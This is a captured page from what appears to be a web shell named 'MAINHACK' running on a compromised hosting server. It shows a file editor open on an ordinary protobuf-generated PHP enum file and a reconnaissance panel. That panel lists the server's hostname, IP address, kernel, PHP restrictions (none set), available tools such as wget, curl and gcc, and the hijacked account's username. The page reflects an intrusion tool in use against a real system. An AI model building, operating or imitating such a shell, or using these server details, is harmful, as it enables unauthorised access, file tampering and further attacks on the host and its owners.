[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PathTranslation.php
<?php # Generated by the protocol buffer compiler. DO NOT EDIT! # source: google/api/backend.proto namespace Google\Api\BackendRule; use UnexpectedValueException; /** * Path Translation specifies how to combine the backend address with the * request path in order to produce the appropriate forwarding URL for the * request. * Path Translation is applicable only to HTTP-based backends. Backends which * do not accept requests over HTTP/HTTPS should leave `path_translation` * unspecified. * * Protobuf type <code>google.api.BackendRule.PathTranslation</code> */ class PathTranslation { /** * Generated from protobuf enum <code>PATH_TRANSLATION_UNSPECIFIED = 0;</code> */ const PATH_TRANSLATION_UNSPECIFIED = 0; /** * Use the backend address as-is, with no modification to the path. If the * URL pattern contains variables, the variable names and values will be * appended to the query string. If a query string parameter and a URL * pattern variable have the same name, this may result in duplicate keys in * the query string. * # Examples * Given the following operation config: * Method path: /api/company/{cid}/user/{uid} * Backend address: https://example.cloudfunctions.net/getUser * Requests to the following request paths will call the backend at the * translated path: * Request path: /api/company/widgetworks/user/johndoe * Translated: * https://example.cloudfunctions.net/getUser?cid=widgetworks&uid=johndoe * Request path: /api/company/widgetworks/user/johndoe?timezone=EST * Translated: * https://example.cloudfunctions.net/getUser?timezone=EST&cid=widgetworks&uid=johndoe * * Generated from protobuf enum <code>CONSTANT_ADDRESS = 1;</code> */ const CONSTANT_ADDRESS = 1; /** * The request path will be appended to the backend address. * # Examples * Given the following operation config: * Method path: /api/company/{cid}/user/{uid} * Backend address: https://example.appspot.com * Requests to the following request paths will call the backend at the * translated path: * Request path: /api/company/widgetworks/user/johndoe * Translated: * https://example.appspot.com/api/company/widgetworks/user/johndoe * Request path: /api/company/widgetworks/user/johndoe?timezone=EST * Translated: * https://example.appspot.com/api/company/widgetworks/user/johndoe?timezone=EST * * Generated from protobuf enum <code>APPEND_PATH_TO_ADDRESS = 2;</code> */ const APPEND_PATH_TO_ADDRESS = 2; private static $valueToName = [ self::PATH_TRANSLATION_UNSPECIFIED => 'PATH_TRANSLATION_UNSPECIFIED', self::CONSTANT_ADDRESS => 'CONSTANT_ADDRESS', self::APPEND_PATH_TO_ADDRESS => 'APPEND_PATH_TO_ADDRESS', ]; public static function name($value) { if (!isset(self::$valueToName[$value])) { throw new UnexpectedValueException(sprintf( 'Enum %s has no name defined for value %s', __CLASS__, $value)); } return self::$valueToName[$value]; } public static function value($name) { $const = __CLASS__ . '::' . strtoupper($name); if (!defined($const)) { throw new UnexpectedValueException(sprintf( 'Enum %s has no value defined for name %s', __CLASS__, $name)); } return constant($const); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285